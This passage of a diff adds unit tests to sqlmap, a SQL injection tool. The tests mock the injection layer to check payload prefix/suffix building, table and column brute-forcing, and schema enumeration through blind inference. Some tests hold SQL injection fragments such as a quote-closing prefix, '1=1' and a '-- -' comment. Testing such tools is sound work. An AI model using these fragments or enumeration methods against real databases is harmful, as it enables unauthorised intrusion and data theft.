agent.adjustLateValues(payload) + # the marked region is base64-encoded and the markers are consumed + self.assertNotIn(BOUNDED_BASE64_MARKER, out) + self.assertEqual(out, "QUI=") + + def test_empty_payload_passthrough(self): + self.assertEqual(agent.adjustLateValues(""), "") + + +class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): + def test_select_top(self): + set_dbms(DBMS.MSSQL) + res = agent.getFields("SELECT TOP 1 name FROM sysobjects") + self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") + self.assertEqual(res[6], "name") + + def test_distinct(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT DISTINCT(name) FROM t") + self.assertEqual(res[6], "name") + + def test_function_is_single_element(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT COUNT(*) FROM t") + self.assertEqual(res[5], ["COUNT(*)"]) + + def test_no_from_keeps_whole_select_list(self): + set_dbms(DBMS.MYSQL) + res = agent.getFields("SELECT a,b,c") + self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") + self.assertEqual(res[5], ["a", "b", "c"]) + + +class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): + def test_prefix_with_explicit_prefix(self): + set_dbms(DBMS.MYSQL) + out = agent.prefixQuery("1=1", prefix="')") + self.assertIn("')", out, msg=out) + self.assertTrue(out.endswith("1=1"), msg=out) + + def test_prefix_group_by_clause_uses_prefix_verbatim(self): + set_dbms(DBMS.MYSQL) + # clause == [2] (GROUP BY / ORDER BY) => no trailing space added + out = agent.prefixQuery("1=1", prefix="X", clause=[2]) + self.assertEqual(out, "X1=1") + + def test_suffix_appends_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", comment="-- -") + self.assertTrue(out.startswith("1=1"), msg=out) + self.assertIn("-", out) + + def test_suffix_appends_suffix_no_comment(self): + set_dbms(DBMS.MYSQL) + out = agent.suffixQuery("1=1", suffix="')") + self.assertIn("')", out, msg=out) + + +class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): + def setUp(self): + DbmsStateMixin.setUp(self) + self._noCast = conf.noCast + + def tearDown(self): + conf.noCast = self._noCast + DbmsStateMixin.tearDown(self) + + def test_nocast_returns_field_unchanged(self): + set_dbms(DBMS.MYSQL) + conf.noCast = True + self.assertEqual(agent.nullAndCastField("colname"), "colname") + + def test_cast_present_when_nocast_off(self): + set_dbms(DBMS.MYSQL) + conf.noCast = False + out = agent.nullAndCastField("colname") + self.assertIn("CAST", out.upper(), msg=out) + self.assertIn("colname", out) + + +# --------------------------------------------------------------------------- # +# lib/core/common.py +# --------------------------------------------------------------------------- # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"éè"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# --------------------------------------------------------------------------- # +# lib/utils/brute.py +# --------------------------------------------------------------------------- # + +import lib.utils.brute as brute +from lib.request import inject +import lib.core.threads as threads_mod +import lib.core.common as common_mod + + +class TestBrute(DbmsStateMixin, unittest.TestCase): + """Drive tableExists / columnExists with all external collaborators stubbed. + + conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, + getFileItems and runThreads are monkeypatched so the check runs synchronously, + deterministically and offline. getPageWordSet is neutralized so the wordlist is + just what the stub returns. + """ + + def setUp(self): + DbmsStateMixin.setUp(self) + self._saved_conf = {k: conf.get(k) for k in + ("direct", "db", "tbl", "threads", "api", "verbose")} + self._choices = kb.choices + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._brute = kb.brute + self._origPage = kb.originalPage + + # stub the collaborators + self._orig_cbe = inject.checkBooleanExpression + self._orig_brute_cbe = brute.inject.checkBooleanExpression + self._orig_getFileItems = brute.getFileItems + self._orig_runThreads = brute.runThreads + self._orig_getPageWordSet = brute.getPageWordSet + + from lib.core.datatype import AttribDict + kb.choices = AttribDict(keycheck=False) + kb.choices.tableExists = None + kb.choices.columnExists = None + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.brute = AttribDict({"tables": [], "columns": []}) + kb.originalPage = None + + conf.direct = True + conf.db = None + conf.threads = 1 + conf.api = False + conf.verbose = 0 + + # runThreads -> just call the worker once synchronously + def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): + kb.threadContinue = True + threadFunction() + brute.runThreads = _fakeRunThreads + # no page words injected into the wordlist + brute.getPageWordSet = lambda page: set() + # wordlist file -> small fixed list + brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + kb.choices = self._choices + if self._cachedTables is None: + kb.data.pop("cachedTables", None) + else: + kb.data.cachedTables = self._cachedTables + if self._cachedColumns is None: + kb.data.pop("cachedColumns", None) + else: + kb.data.cachedColumns = self._cachedColumns + kb.brute = self._brute + kb.originalPage = self._origPage + brute.inject.checkBooleanExpression = self._orig_brute_cbe + brute.getFileItems = self._orig_getFileItems + brute.runThreads = self._orig_runThreads + brute.getPageWordSet = self._orig_getPageWordSet + DbmsStateMixin.tearDown(self) + + def test_table_exists_collects_true_results(self): + set_dbms(DBMS.MYSQL) + + def _cbe(expression, expectingNone=True): + # initial sanity probe (random table) -> must be False, otherwise the + # function raises SqlmapDataException; then only "users" exists. + return "users" in expression + brute.inject.checkBooleanExpression = _cbe + + result = brute.tableExists("/nonexistent/tables.txt") + # cachedTables keyed by conf.db (None here) holds the discovered table + self.assertIn(None, result) + self.assertIn("users", result[None]) + self.assertNotIn("logs", result.get(None, [])) + # also recorded in kb.brute.tables as (db, table) + self.assertIn((None, "users"), kb.brute.tables) + + def test_table_exists_invalid_results_raises(self): + from lib.core.exception import SqlmapDataException + set_dbms(DBMS.MYSQL) + # the initial random-table probe returns True -> "invalid results" guard + brute.inject.checkBooleanExpression = lambda *a, **k: True + with self.assertRaises(SqlmapDataException): + brute.tableExists("/nonexistent/tables.txt") + + def test_column_exists_requires_table(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms(DBMS.MYSQL) + conf.tbl = None + # the sanity probe is False so we reach the missing-table guard + brute.inject.checkBooleanExpression = lambda *a, **k: False + with self.assertRaises(SqlmapMissingMandatoryOptionException): + brute.columnExists("/nonexistent/columns.txt") + + def test_column_exists_collects_and_types(self): + set_dbms(DBMS.MYSQL) + conf.tbl = "users" + brute.getFileItems = lambda *a, **k: ["id", "name"] + + calls = {"n": 0} + + def _cbe(expression, expectingNone=True): + calls["n"] += 1 + # initial sanity probe uses two random strings (no real column name) + if "id" not in expression and "name" not in expression: + return False + # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. + # 'id' is numeric (no non-digit chars => probe False => numeric); + # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). + if "REGEXP" in expression: + return "name" in expression + # plain existence check (EXISTS(SELECT FROM )) => both columns exist + return True + brute.inject.checkBooleanExpression = _cbe + + result = brute.columnExists("/nonexistent/columns.txt") + self.assertIn(None, result) + cols = result[None]["users"] + # column names are run through safeSQLIdentificatorNaming, so the MySQL + # reserved word "name" comes back backtick-quoted + from lib.core.common import safeSQLIdentificatorNaming, getText + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") + + def test_add_page_text_words_filters(self): + # restore the real getPageWordSet for this one and drive it directly + brute.getPageWordSet = self._orig_getPageWordSet + kb.originalPage = u"admin password 1abc xy verylongword" + words = brute._addPageTextWords() + # words <= 2 chars or starting with a digit are dropped + self.assertIn("admin", words) + self.assertIn("password", words) + self.assertNotIn("xy", words) + self.assertNotIn("1abc", words) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py new file mode 100644 index 00000000000..323a4a72825 --- /dev/null +++ b/tests/test_databases_enum.py @@ -0,0 +1,511 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the enumeration methods of plugins/generic/databases.py. + +The injection layer (lib.request.inject.getValue) is mocked so no network or +live DBMS is required; each test drives a single enumeration method down a +specific branch (conf.direct "inband" path or the isInferenceAvailable() blind +path) and asserts on the returned value / kb.data.cached* state. + +CRITICAL: every test restores conf.*, the patched dbmod.inject.getValue, and the +mutated kb.data flags in tearDown so global state does not leak into the rest of +the suite. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.databases as dbmod +from plugins.generic.databases import Databases + +# Databases.forceDbmsEnum() is supplied at runtime by the concrete dbms fingerprint +# plugin mixin (plugins/dbms/*/fingerprint.py); a bare Databases() instance lacks it, +# so neutralize it for the duration of these tests. Restored in tearDown via the saved ref. +_NOOP = lambda self: None + + +class _BaseEnumTest(unittest.TestCase): + """Shared setup/teardown that snapshots and restores all touched global state.""" + + # conf keys every test may read/write + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + # the inference paths of getTables/getColumns set kb.hintValue as a side effect; + # snapshot it so we never leak a stale hint into other test files (e.g. the + # inference engine's tryHint(), whose setUp does not reset it). + self._saved_hintValue = kb.get("hintValue") + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + # sane defaults shared by most tests + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + # helpers ----------------------------------------------------------------- + + def _fresh(self): + """Return a Databases() instance with every cache reset to empty.""" + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _enable_inference(self): + """Take the blind inference branch: conf.direct off, a BOOLEAN technique present.""" + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestGetCurrentDb(_BaseEnumTest): + def test_current_db_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "testdb" + self.assertEqual(d.getCurrentDb(), "testdb") + self.assertEqual(kb.data.currentDb, "testdb") + + def test_current_db_cached(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.currentDb = "already" + + def _boom(*a, **k): + raise AssertionError("inject.getValue must not be called when currentDb is cached") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getCurrentDb(), "already") + + def test_current_db_oracle_schema_warning_branch(self): + # Oracle takes the schema-name warning branch; result still returned. + set_dbms("Oracle") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: "SYSTEM" + self.assertEqual(d.getCurrentDb(), "SYSTEM") + + +class TestGetDbs(_BaseEnumTest): + def test_get_dbs_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["information_schema"], ["mysql"], ["testdb"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "mysql", "testdb"]) + self.assertIn("testdb", kb.data.cachedDbs) + + def test_get_dbs_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedDbs = ["pre", "cached"] + + def _boom(*a, **k): + raise AssertionError("must not query when cachedDbs is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getDbs(), ["pre", "cached"]) + + def test_get_dbs_direct_pgsql_schema_branch(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["public"], ["information_schema"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["information_schema", "public"]) + + def test_get_dbs_mysql_no_information_schema(self): + # MySQL < 5: query2 / count2 branch; still inband under conf.direct. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.has_information_schema = False + dbmod.inject.getValue = lambda query, *a, **k: [["mysql"], ["app"]] + result = d.getDbs() + self.assertEqual(sorted(result), ["app", "mysql"]) + + def test_get_dbs_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + + names = ["alpha", "beta", "gamma"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + val = names[state["i"]] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), sorted(names)) + + def test_get_dbs_fallback_to_current(self): + # No dbs returned inband -> falls back to current database. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + return None # getDbs inband: nothing + return "fallbackdb" # getCurrentDb + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(result, ["fallbackdb"]) + + +class TestGetTables(_BaseEnumTest): + def test_get_tables_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["testdb", "users"], ["testdb", "posts"]] + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), ["posts", "users"]) + + def test_get_tables_cached_short_circuit(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + kb.data.cachedTables = {"db": ["t1"]} + + def _boom(*a, **k): + raise AssertionError("must not query when cachedTables is populated") + + dbmod.inject.getValue = _boom + self.assertEqual(d.getTables(), {"db": ["t1"]}) + + def test_get_tables_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + conf.db = "public" + conf.tbl = None + dbmod.inject.getValue = lambda query, *a, **k: [["public", "accounts"]] + result = d.getTables() + self.assertEqual(result.get("public"), ["accounts"]) + + def test_get_tables_inference(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + + tables = ["t_a", "t_b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(tables)) + val = tables[state["i"] % len(tables)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getTables() + self.assertIn("testdb", result) + self.assertEqual(sorted(result["testdb"]), sorted(tables)) + + +class TestGetColumns(_BaseEnumTest): + def _run_direct(self, dbms, db, tbl, rows): + set_dbms(dbms) + conf.direct = True + d = self._fresh() + conf.db = db + conf.tbl = tbl + dbmod.inject.getValue = lambda query, *a, **k: rows + return d.getColumns() + + def test_columns_direct_mysql(self): + result = self._run_direct("MySQL", "testdb", "users", [["id", "int"], ["age", "int"]]) + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + self.assertEqual(cols.get("id"), "int") + self.assertEqual(cols.get("age"), "int") + + def test_columns_direct_pgsql(self): + result = self._run_direct("PostgreSQL", "public", "users", [["id", "integer"]]) + self.assertEqual(result["public"]["users"].get("id"), "integer") + + def test_columns_direct_oracle_uppercase(self): + # Oracle is an UPPER_CASE dbms: conf.db/tbl get upcased internally. + result = self._run_direct("Oracle", "system", "users", [["ID", "NUMBER"]]) + # Oracle quotes the identifier ("SYSTEM"); assert the column landed regardless. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("ID"), "NUMBER") + + def test_columns_direct_mssql(self): + result = self._run_direct("Microsoft SQL Server", "master", "users", [["id", "int"]]) + # MSSQL wraps the db identifier in [brackets]; assert the column landed. + flat = {} + for tables in result.values(): + for cols in tables.values(): + flat.update(cols) + self.assertEqual(flat.get("id"), "int") + + def test_columns_only_names(self): + # onlyColNames is ONLY read in the inference branch (the INBAND path + # ignores it), so drive the blind inference path like + # test_columns_inference_mysql but with onlyColNames=True. The flag must + # SUPPRESS the type lookup: each column's value lands as None instead of + # the real type. Asserting cols.get("id") is None proves the flag took + # effect (otherwise the type query would run and return "int"). + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0} + type_queries = {"n": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # With onlyColNames the second-stage type query (blind.query2, which + # selects column_type) must NEVER be issued. + if "column_type" in query.lower(): + type_queries["n"] += 1 + return ["int"] + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getColumns(onlyColNames=True) + cols = result["testdb"]["users"] + # both column names enumerated... + self.assertEqual(len(cols), len(colnames)) + self.assertIn("id", cols) + # ...but their types were suppressed (None), and no type query ran. + self.assertIsNone(cols.get("id")) + self.assertEqual(type_queries["n"], 0) + + def test_columns_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + + colnames = ["id", "name"] + state = {"i": 0, "names": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(colnames)) + # alternate: column name then its type + if state["names"]: + val = colnames[state["i"] % len(colnames)] + state["i"] += 1 + state["names"] = False + return [val] + else: + state["names"] = True + return ["int"] + + dbmod.inject.getValue = gv + result = d.getColumns() + self.assertIn("testdb", result) + cols = result["testdb"]["users"] + # both columns enumerated (reserved words like "name" get quoted, so count, not exact keys) + self.assertEqual(len(cols), len(colnames)) + self.assertEqual(cols.get("id"), "int") + + +class TestGetCount(_BaseEnumTest): + def test_count_single_table_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + dbmod.inject.getValue = lambda query, *a, **k: "42" + result = d.getCount() + self.assertEqual(result, {"testdb": {42: ["users"]}}) + + def test_count_dotted_table_splits_db(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = None + conf.tbl = "shop.orders" + dbmod.inject.getValue = lambda query, *a, **k: "7" + result = d.getCount() + self.assertEqual(result, {"shop": {7: ["orders"]}}) + + def test_count_multiple_tables(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users,posts" + counts = {"users": "3", "posts": "5"} + + def gv(query, *a, **k): + # the table name appears in the FROM clause of the generated query + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"][3]) + self.assertIn("posts", result["testdb"][5]) + + +class TestGetStatements(_BaseEnumTest): + def test_statements_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT 1"], ["SELECT 2"]] + result = d.getStatements() + self.assertEqual(sorted(result), ["SELECT 1", "SELECT 2"]) + + def test_statements_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT now()"]] + result = d.getStatements() + self.assertEqual(result, ["SELECT now()"]) + + def test_statements_inference(self): + set_dbms("PostgreSQL") + self._enable_inference() + d = self._fresh() + stmts = ["SELECT a", "SELECT b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(stmts)) + val = stmts[state["i"] % len(stmts)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getStatements() + self.assertEqual(sorted(result), sorted(stmts)) + + +class TestGetSchema(_BaseEnumTest): + def test_schema_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + conf.col = None + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + # getTables call + return [["testdb", "users"]] + # getColumns call + return [["id", "int"]] + + dbmod.inject.getValue = gv + result = d.getSchema() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"]) + self.assertEqual(result["testdb"]["users"].get("id"), "int") + + +class TestGetProcedures(_BaseEnumTest): + def test_procedures_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["proc_a"], ["proc_b"]] + result = d.getProcedures() + self.assertEqual(sorted(result), ["proc_a", "proc_b"]) + + def test_procedures_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + procs = ["sp_one", "sp_two"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(procs)) + val = procs[state["i"] % len(procs)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getProcedures() + self.assertEqual(sorted(result), sorted(procs)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py new file mode 100644 index 00000000000..8188f3c0e6d --- /dev/null +++ b/tests/test_dbms_enum.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), +driven through each full DBMS handler with the injection layer mocked, so the +dialect-specific table/column discovery paths run without a live target. The +in-band (UNION/error/direct) branch is taken via conf.direct=True and +inject.getValue is stubbed with canned result rows. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED + + +class _EnumBase(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate.""" + module = None # the enumeration module whose inject.getValue we patch + + def setUp(self): + self._direct = conf.direct + self._db = conf.db + self._gv = self.module.inject.getValue + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + conf.direct = True + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + + def tearDown(self): + conf.direct = self._direct + conf.db = self._db + self.module.inject.getValue = self._gv + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + + +class TestMSSQLServerEnum(_EnumBase): + import plugins.dbms.mssqlserver.enumeration as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + def test_get_tables(self): + # one database (conf.db), single-column rows: getTables keys the cache by + # the db loop variable and stores the rows run through + # arrayize -> unArrayize -> safeSQLIdentificatorNaming -> sorted(). + conf.db = "appdb" + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT else [["users"], ["products"], ["customers"]] + ) + self._handler().getTables() + tables = kb.data.cachedTables + self.assertEqual(list(tables.keys()), ["appdb"]) + stored = tables["appdb"] + # value is a real sorted list (the final sort step), not an echo of input + self.assertEqual(stored, sorted(stored)) + # MSSQL qualifies bare names with the dbo schema; assert exact membership + self.assertIn("dbo.users", stored) + self.assertEqual(stored, ["dbo.customers", "dbo.products", "dbo.users"]) + + def test_get_tables_multiple_dbs(self): + # exercise the per-database keying with two DBs (conf.db = "a,b"): each db + # in the loop gets its OWN sorted table list. Rows are single-column; + # unArrayizeValue collapses each 1-tuple row to the scalar table name. + conf.db = "appdb,salesdb" + + def getValue(q, *a, **k): + if k.get("expected") == EXPECTED.INT: + return 3 + # the query carries the db name (%s substituted); route per database + if "appdb" in q: + return [["users"], ["sessions"], ["accounts"]] + return [["orders"], ["invoices"]] + + self.module.inject.getValue = getValue + self._handler().getTables() + tables = kb.data.cachedTables + # exactly the two requested databases, each mapped to its own sorted list + self.assertEqual(sorted(tables.keys()), ["appdb", "salesdb"]) + self.assertEqual(tables["appdb"], ["dbo.accounts", "dbo.sessions", "dbo.users"]) + self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) + + +if __name__ == "__main__": + unittest.main() diff --git 